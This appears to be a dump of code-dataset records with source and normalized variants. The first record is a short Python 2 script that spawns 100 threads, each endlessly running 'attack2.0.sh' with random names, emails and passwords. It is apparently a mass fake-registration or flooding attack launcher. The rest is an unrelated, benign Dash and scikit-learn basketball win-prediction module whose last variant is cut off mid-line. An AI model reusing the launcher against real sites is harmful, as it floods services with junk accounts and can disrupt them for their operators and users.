import string import random import os from threading import Thread class Process(Thread): def __init__(self): Thread.__init__(self) def run(self): while True: prenom = id_generator(random.randint(4, 8)) nom = id_generator(random.randint(4, 8)) password = id_generator(random.randint(4, 8)) mail = id_generator(random.randint(4, 8)) + '.' + id_generator(random.randint(4, 8)) command = "sh attack2.0.sh " + prenom + " " + mail + " " + nom + " " + password os.system(command) print "\n" + mail def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) i = 0 while i < 100: thread_1 = Process() thread_1.start() i = i + 1
[ "import string\nimport random\nimport os\nfrom threading import Thread\n\nclass Process(Thread):\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n while True:\n prenom = id_generator(random.randint(4, 8))\n nom = id_generator(random.randint(4, 8))\n password = id_generator(random.randint(4, 8))\n mail = id_generator(random.randint(4, 8)) + '.' + id_generator(random.randint(4, 8))\n command = \"sh attack2.0.sh \" + prenom + \" \" + mail + \" \" + nom + \" \" + password\n os.system(command)\n print \"\\n\" + mail\n\ndef id_generator(size=6, chars=string.ascii_lowercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\ni = 0\nwhile i < 100:\n thread_1 = Process()\n thread_1.start()\n i = i + 1\n" ]
true
453
9b581df505765e895047584c5bb586faef95295f
import dash import dash_core_components as dcc import dash_html_components as html import dash_table as dt import plotly.express as px import pandas as pd import plotly.graph_objects as go import numpy as np from datetime import datetime as dat from sklearn.model_selection import train_test_split from sklearn.linear_model import LinearRegression from sklearn import metrics from sklearn.feature_selection import f_regression from sklearn.feature_selection import SelectKBest # TODO: # The model doesn't really take the opponent into consideration when calculating the win percentage. As you would expect, this is not ideal and is something that needs to be fixed # # The bar charts only graph 2019 data. Allowing the user to choose the year would be an easy addition. Future implemenatations could also include a previous X games option instead # # The bar chart only graphs stats correctly if they are selected in order. For example, if the set of possible stats are ['assists', 'rebounds', 'blocks'], they must all be selected # in order to show all the values correctly. If the user selects only 'assists' and 'blocks' then 'assists' graphs correctly. 'blocks' is graphed but is given the value assigned # to 'rebounds' because it assumes the second position in the array of stats to be graphed. # # The model doesn't run well (and generally fails) for small schools due to a lack of data for those teams. Error checking needs to be implemented to eliminate this problem. def getStatsByYear(teamID, year, data): ''' Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 ''' teamStats = data[data["team_id"] == teamID] for index, row in teamStats.iterrows(): if (row["season"] == year): teamStatsForGivenYear = teamStats[data["season"] == row["season"]] return teamStatsForGivenYear def generate_bar_chart(team, opponent, stats, stat_names, data): ''' Generates a bar chart for a the user selected team, opponent and stats ''' teamStats = getStatsByYear(team, 2019, data) opponentStats = getStatsByYear(opponent, 2019, data) teamStatValues = teamStats[["assists", "assists_turnover_ratio", "blocked_att", "blocks", "defensive_rebounds", "fast_break_pts", "field_goals_att", "field_goals_pct", "field_goals_made", "free_throws_att", "free_throws_pct", "free_throws_made", "offensive_rebounds", "personal_fouls", "points", "points_against", "points_in_paint", "points_off_turnovers", "rebounds", "second_chance_pts", "steals", "team_rebounds", "three_points_att", "three_points_pct", "three_points_made", "turnovers", "two_points_att", "two_points_pct", "two_points_made" ]] opponentStatValues = opponentStats[["assists", "assists_turnover_ratio", "blocked_att", "blocks", "defensive_rebounds", "fast_break_pts", "field_goals_att", "field_goals_pct", "field_goals_made", "free_throws_att", "free_throws_pct", "free_throws_made", "offensive_rebounds", "personal_fouls", "points", "points_against", "points_in_paint", "points_off_turnovers", "rebounds", "second_chance_pts", "steals", "team_rebounds", "three_points_att", "three_points_pct", "three_points_made", "turnovers", "two_points_att", "two_points_pct", "two_points_made" ]] stats_to_be_graphed = [] for i in range(len(stat_names)): if i in stats: stats_to_be_graphed.append(stat_names[i]) # Graphs average stat values for the user's chosen team teamVals = go.Bar( x = stats_to_be_graphed, y = teamStatValues.mean(), name = data[(data.team_id == team)]['market'].iloc[0] ) # Graphs average stat values for the opponent's team opponentVals = go.Bar( x = stats_to_be_graphed, y = opponentStatValues.mean(), name = data[(data.team_id == opponent)]['market'].iloc[0] ) data = [teamVals, opponentVals] layout = go.Layout(barmode = 'group') fig = go.Figure(data = data, layout = layout) return fig def getAllTeamMatchRecords(teamID, df): ''' Returns all game records for a given teamID ''' return df[df["team_id"] == teamID] def select_features(X_train, y_train, X_test): ''' Selects features ''' # configure to select all features fs = SelectKBest(score_func=f_regression, k='all') # learn relationship from training data fs.fit(X_train, y_train) # transform train input data X_train_fs = fs.transform(X_train) # transform test input data X_test_fs = fs.transform(X_test) return X_train_fs, X_test_fs, fs def overallFeatures(df): ''' Return list of top four features ''' datasetForFS = df datasetForFS.fillna(0) X1 = datasetForFS[["assists","blocks","defensive_rebounds","opponent_drb","fast_break_pts","points_in_paint","points_off_turnovers","rebounds","steals","turnovers","efg","tov_pct","orb_pct","ftr"]] y1 = datasetForFS['win'] X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=0.2, random_state=0) X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test) colList = X1.columns.values.tolist() statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score': pd.Series(fs.scores_.tolist())}) statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False) return statScoreDF.head(n=4)['Stat'].tolist() def avgDataRow(df): ''' Returns the average values of a dataFrame ''' df1 = dict() for (columnName, columnData) in df.iteritems(): df1[columnName] = [df[columnName].mean()] return pd.DataFrame(df1) def updateWinPct(dfMain, dfWin, reg): ''' Return new win percentage ''' dfPred = reg.predict(dfMain) return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.around(dfPred), 'Predicted (float)': dfPred}) def filterRowsFS(df): ''' Return dataframe with selected features ''' return df[["assists","blocks","defensive_rebounds","opponent_drb","fast_break_pts","points_in_paint","points_off_turnovers","rebounds","steals","turnovers","efg","tov_pct","orb_pct","ftr"]] def learn(dataset): ''' Trains the model ''' dataset = pd.read_csv("team_boxscores_v3.csv") dataset = dataset.fillna(0) # Shuffle dataset = dataset.sample(frac = 1) X1 = dataset[["assists","blocks","defensive_rebounds","opponent_drb","fast_break_pts","points_in_paint","points_off_turnovers","rebounds","steals","turnovers","efg","tov_pct","orb_pct","ftr"]] y1 = dataset['win'] # No shuffle # X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=0.2, random_state=0) # W/ shuffle X_train = X1[int(len(X1)/5):] X_test = X1[:int(len(X1)/5)] y_train = y1[int(len(y1)/5):] y_test = y1[:int(len(y1)/5)] regressor = LinearRegression() regressor.fit(X_train, y_train) coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=['Coefficient']) y_pred = regressor.predict(X_test) y_pred_round = np.around(regressor.predict(X_test)) return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)': y_pred_round, 'Predicted (float)': y_pred}) def calculate_win_percentage(team, stat1, stat2, stat3, stat4, regressor, data): ''' Calculates the win percentage for a team and the 4 selected stat values ''' temp = getAllTeamMatchRecords(team, data) changed_stat1 = overallFeatures(temp)[0] changed_stat2 = overallFeatures(temp)[1] changed_stat3 = overallFeatures(temp)[2] changed_stat4 = overallFeatures(temp)[3] average_team_stats = avgDataRow(filterRowsFS(temp)) dfWin = temp["win"] dfFinal = pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.around(regressor.predict(average_team_stats)), 'Predicted (float)': regressor.predict(average_team_stats)}) origWinPct = dfFinal.at[0, 'Predicted (float)'] average_team_stats.at[0, changed_stat1] = stat1 average_team_stats.at[0, changed_stat2] = stat2 average_team_stats.at[0, changed_stat3] = stat3 average_team_stats.at[0, changed_stat4] = stat4 win_percentage = updateWinPct(average_team_stats, dfWin, regressor).at[0,'Predicted (float)'] # Makes sure you can't have a win percentage of > 100% or < 0% if win_percentage > 1: win_percentage = 1 elif win_percentage < 0: win_percentage = 0 win_percentage = win_percentage * 100 win_percentage = round(win_percentage, 2) win_percentage_text = "Projected Win Percentage: " + str(win_percentage) + "%" return win_percentage_text def get_default_slider_values(team, data): ''' Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup ''' numSliders = 4 stat_column_names = [] stat_column_values = [] estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(team, data))) for i in range(numSliders): stat_column_names.append(overallFeatures(getAllTeamMatchRecords(team, data))[i]) stat_column_values.append(estimated_stat_values.at[0, stat_column_names[i]]) return stat_column_names, stat_column_values
[ "import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport dash_table as dt\r\nimport plotly.express as px\r\nimport pandas as pd\r\nimport plotly.graph_objects as go\r\nimport numpy as np\r\nfrom datetime import datetime as dat\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn import metrics\r\nfrom sklearn.feature_selection import f_regression\r\nfrom sklearn.feature_selection import SelectKBest\r\n\r\n# TODO: \r\n# The model doesn't really take the opponent into consideration when calculating the win percentage. As you would expect, this is not ideal and is something that needs to be fixed\r\n# \r\n# The bar charts only graph 2019 data. Allowing the user to choose the year would be an easy addition. Future implemenatations could also include a previous X games option instead\r\n# \r\n# The bar chart only graphs stats correctly if they are selected in order. For example, if the set of possible stats are ['assists', 'rebounds', 'blocks'], they must all be selected\r\n# in order to show all the values correctly. If the user selects only 'assists' and 'blocks' then 'assists' graphs correctly. 'blocks' is graphed but is given the value assigned\r\n# to 'rebounds' because it assumes the second position in the array of stats to be graphed. \r\n#\r\n# The model doesn't run well (and generally fails) for small schools due to a lack of data for those teams. Error checking needs to be implemented to eliminate this problem.\r\n\r\n\r\ndef getStatsByYear(teamID, year, data):\r\n ''' Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 '''\r\n teamStats = data[data[\"team_id\"] == teamID]\r\n \r\n for index, row in teamStats.iterrows():\r\n if (row[\"season\"] == year): \r\n teamStatsForGivenYear = teamStats[data[\"season\"] == row[\"season\"]]\r\n return teamStatsForGivenYear\r\n\r\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\r\n ''' Generates a bar chart for a the user selected team, opponent and stats ''' \r\n\r\n teamStats = getStatsByYear(team, 2019, data)\r\n opponentStats = getStatsByYear(opponent, 2019, data)\r\n\r\n teamStatValues = teamStats[[\"assists\", \"assists_turnover_ratio\", \"blocked_att\", \"blocks\", \"defensive_rebounds\", \"fast_break_pts\",\r\n \"field_goals_att\", \"field_goals_pct\", \"field_goals_made\", \"free_throws_att\",\r\n \"free_throws_pct\", \"free_throws_made\", \"offensive_rebounds\", \"personal_fouls\", \r\n \"points\", \"points_against\", \"points_in_paint\", \"points_off_turnovers\",\r\n \"rebounds\", \"second_chance_pts\", \"steals\", \"team_rebounds\", \"three_points_att\",\r\n \"three_points_pct\", \"three_points_made\", \"turnovers\", \"two_points_att\",\r\n \"two_points_pct\", \"two_points_made\"\r\n ]]\r\n\r\n opponentStatValues = opponentStats[[\"assists\", \"assists_turnover_ratio\", \"blocked_att\", \"blocks\", \"defensive_rebounds\", \"fast_break_pts\",\r\n \"field_goals_att\", \"field_goals_pct\", \"field_goals_made\", \"free_throws_att\",\r\n \"free_throws_pct\", \"free_throws_made\", \"offensive_rebounds\", \"personal_fouls\", \r\n \"points\", \"points_against\", \"points_in_paint\", \"points_off_turnovers\",\r\n \"rebounds\", \"second_chance_pts\", \"steals\", \"team_rebounds\", \"three_points_att\",\r\n \"three_points_pct\", \"three_points_made\", \"turnovers\", \"two_points_att\",\r\n \"two_points_pct\", \"two_points_made\"\r\n ]]\r\n\r\n stats_to_be_graphed = []\r\n\r\n for i in range(len(stat_names)):\r\n if i in stats:\r\n stats_to_be_graphed.append(stat_names[i])\r\n\r\n # Graphs average stat values for the user's chosen team\r\n teamVals = go.Bar(\r\n x = stats_to_be_graphed,\r\n y = teamStatValues.mean(),\r\n name = data[(data.team_id == team)]['market'].iloc[0]\r\n )\r\n\r\n # Graphs average stat values for the opponent's team\r\n opponentVals = go.Bar(\r\n x = stats_to_be_graphed,\r\n y = opponentStatValues.mean(),\r\n name = data[(data.team_id == opponent)]['market'].iloc[0]\r\n )\r\n \r\n data = [teamVals, opponentVals]\r\n layout = go.Layout(barmode = 'group')\r\n fig = go.Figure(data = data, layout = layout)\r\n \r\n return fig\r\n\r\ndef getAllTeamMatchRecords(teamID, df):\r\n ''' Returns all game records for a given teamID '''\r\n return df[df[\"team_id\"] == teamID]\r\n\r\ndef select_features(X_train, y_train, X_test):\r\n ''' Selects features '''\r\n # configure to select all features\r\n fs = SelectKBest(score_func=f_regression, k='all')\r\n # learn relationship from training data\r\n fs.fit(X_train, y_train)\r\n # transform train input data\r\n X_train_fs = fs.transform(X_train)\r\n # transform test input data\r\n X_test_fs = fs.transform(X_test)\r\n return X_train_fs, X_test_fs, fs\r\n\r\ndef overallFeatures(df):\r\n ''' Return list of top four features '''\r\n datasetForFS = df\r\n datasetForFS.fillna(0)\r\n\r\n X1 = datasetForFS[[\"assists\",\"blocks\",\"defensive_rebounds\",\"opponent_drb\",\"fast_break_pts\",\"points_in_paint\",\"points_off_turnovers\",\"rebounds\",\"steals\",\"turnovers\",\"efg\",\"tov_pct\",\"orb_pct\",\"ftr\"]]\r\n y1 = datasetForFS['win']\r\n\r\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=0.2, random_state=0)\r\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\r\n\r\n colList = X1.columns.values.tolist()\r\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score': pd.Series(fs.scores_.tolist())})\r\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\r\n \r\n return statScoreDF.head(n=4)['Stat'].tolist()\r\n\r\ndef avgDataRow(df):\r\n ''' Returns the average values of a dataFrame '''\r\n df1 = dict()\r\n for (columnName, columnData) in df.iteritems():\r\n df1[columnName] = [df[columnName].mean()]\r\n \r\n return pd.DataFrame(df1)\r\n\r\ndef updateWinPct(dfMain, dfWin, reg):\r\n ''' Return new win percentage '''\r\n dfPred = reg.predict(dfMain)\r\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.around(dfPred), 'Predicted (float)': dfPred})\r\n\r\ndef filterRowsFS(df):\r\n ''' Return dataframe with selected features '''\r\n return df[[\"assists\",\"blocks\",\"defensive_rebounds\",\"opponent_drb\",\"fast_break_pts\",\"points_in_paint\",\"points_off_turnovers\",\"rebounds\",\"steals\",\"turnovers\",\"efg\",\"tov_pct\",\"orb_pct\",\"ftr\"]]\r\n\r\ndef learn(dataset):\r\n ''' Trains the model '''\r\n dataset = pd.read_csv(\"team_boxscores_v3.csv\")\r\n dataset = dataset.fillna(0)\r\n \r\n # Shuffle\r\n dataset = dataset.sample(frac = 1) \r\n \r\n X1 = dataset[[\"assists\",\"blocks\",\"defensive_rebounds\",\"opponent_drb\",\"fast_break_pts\",\"points_in_paint\",\"points_off_turnovers\",\"rebounds\",\"steals\",\"turnovers\",\"efg\",\"tov_pct\",\"orb_pct\",\"ftr\"]]\r\n y1 = dataset['win']\r\n \r\n # No shuffle\r\n # X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=0.2, random_state=0)\r\n \r\n # W/ shuffle\r\n X_train = X1[int(len(X1)/5):]\r\n X_test = X1[:int(len(X1)/5)]\r\n \r\n y_train = y1[int(len(y1)/5):]\r\n y_test = y1[:int(len(y1)/5)]\r\n \r\n regressor = LinearRegression()\r\n regressor.fit(X_train, y_train)\r\n \r\n coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=['Coefficient'])\r\n \r\n y_pred = regressor.predict(X_test)\r\n y_pred_round = np.around(regressor.predict(X_test))\r\n \r\n return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)': y_pred_round, 'Predicted (float)': y_pred})\r\n\r\ndef calculate_win_percentage(team, stat1, stat2, stat3, stat4, regressor, data):\r\n ''' Calculates the win percentage for a team and the 4 selected stat values '''\r\n temp = getAllTeamMatchRecords(team, data)\r\n changed_stat1 = overallFeatures(temp)[0]\r\n changed_stat2 = overallFeatures(temp)[1]\r\n changed_stat3 = overallFeatures(temp)[2]\r\n changed_stat4 = overallFeatures(temp)[3]\r\n average_team_stats = avgDataRow(filterRowsFS(temp))\r\n dfWin = temp[\"win\"]\r\n\r\n dfFinal = pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.around(regressor.predict(average_team_stats)), 'Predicted (float)': regressor.predict(average_team_stats)})\r\n origWinPct = dfFinal.at[0, 'Predicted (float)']\r\n\r\n average_team_stats.at[0, changed_stat1] = stat1\r\n average_team_stats.at[0, changed_stat2] = stat2\r\n average_team_stats.at[0, changed_stat3] = stat3\r\n average_team_stats.at[0, changed_stat4] = stat4\r\n\r\n win_percentage = updateWinPct(average_team_stats, dfWin, regressor).at[0,'Predicted (float)']\r\n\r\n # Makes sure you can't have a win percentage of > 100% or < 0%\r\n if win_percentage > 1:\r\n win_percentage = 1\r\n elif win_percentage < 0:\r\n win_percentage = 0\r\n\r\n win_percentage = win_percentage * 100\r\n win_percentage = round(win_percentage, 2)\r\n\r\n win_percentage_text = \"Projected Win Percentage: \" + str(win_percentage) + \"%\"\r\n\r\n return win_percentage_text\r\n\r\ndef get_default_slider_values(team, data):\r\n ''' Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup '''\r\n numSliders = 4\r\n stat_column_names = []\r\n stat_column_values = []\r\n\r\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(team, data)))\r\n\r\n for i in range(numSliders):\r\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(team, data))[i])\r\n stat_column_values.append(estimated_stat_values.at[0, stat_column_names[i]])\r\n\r\n return stat_column_names, stat_column_values", "import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table as dt\nimport plotly.express as px\nimport pandas as pd\nimport plotly.graph_objects as go\nimport numpy as np\nfrom datetime import datetime as dat\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\nfrom sklearn.feature_selection import f_regression\nfrom sklearn.feature_selection import SelectKBest\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\ndef filterRowsFS(df):\n \"\"\" Return dataframe with selected features \"\"\"\n return df[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n\n\ndef learn(dataset):\n \"\"\" Trains the model \"\"\"\n dataset = pd.read_csv('team_boxscores_v3.csv')\n dataset = dataset.fillna(0)\n dataset = dataset.sample(frac=1)\n X1 = dataset[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n y1 = dataset['win']\n X_train = X1[int(len(X1) / 5):]\n X_test = X1[:int(len(X1) / 5)]\n y_train = y1[int(len(y1) / 5):]\n y_test = y1[:int(len(y1) / 5)]\n regressor = LinearRegression()\n regressor.fit(X_train, y_train)\n coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=[\n 'Coefficient'])\n y_pred = regressor.predict(X_test)\n y_pred_round = np.around(regressor.predict(X_test))\n return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)':\n y_pred_round, 'Predicted (float)': y_pred})\n\n\ndef calculate_win_percentage(team, stat1, stat2, stat3, stat4, regressor, data\n ):\n \"\"\" Calculates the win percentage for a team and the 4 selected stat values \"\"\"\n temp = getAllTeamMatchRecords(team, data)\n changed_stat1 = overallFeatures(temp)[0]\n changed_stat2 = overallFeatures(temp)[1]\n changed_stat3 = overallFeatures(temp)[2]\n changed_stat4 = overallFeatures(temp)[3]\n average_team_stats = avgDataRow(filterRowsFS(temp))\n dfWin = temp['win']\n dfFinal = pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(regressor.predict(average_team_stats)), 'Predicted (float)':\n regressor.predict(average_team_stats)})\n origWinPct = dfFinal.at[0, 'Predicted (float)']\n average_team_stats.at[0, changed_stat1] = stat1\n average_team_stats.at[0, changed_stat2] = stat2\n average_team_stats.at[0, changed_stat3] = stat3\n average_team_stats.at[0, changed_stat4] = stat4\n win_percentage = updateWinPct(average_team_stats, dfWin, regressor).at[\n 0, 'Predicted (float)']\n if win_percentage > 1:\n win_percentage = 1\n elif win_percentage < 0:\n win_percentage = 0\n win_percentage = win_percentage * 100\n win_percentage = round(win_percentage, 2)\n win_percentage_text = 'Projected Win Percentage: ' + str(win_percentage\n ) + '%'\n return win_percentage_text\n\n\ndef get_default_slider_values(team, data):\n \"\"\" Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup \"\"\"\n numSliders = 4\n stat_column_names = []\n stat_column_values = []\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(\n team, data)))\n for i in range(numSliders):\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(\n team, data))[i])\n stat_column_values.append(estimated_stat_values.at[0,\n stat_column_names[i]])\n return stat_column_names, stat_column_values\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\ndef filterRowsFS(df):\n \"\"\" Return dataframe with selected features \"\"\"\n return df[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n\n\ndef learn(dataset):\n \"\"\" Trains the model \"\"\"\n dataset = pd.read_csv('team_boxscores_v3.csv')\n dataset = dataset.fillna(0)\n dataset = dataset.sample(frac=1)\n X1 = dataset[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n y1 = dataset['win']\n X_train = X1[int(len(X1) / 5):]\n X_test = X1[:int(len(X1) / 5)]\n y_train = y1[int(len(y1) / 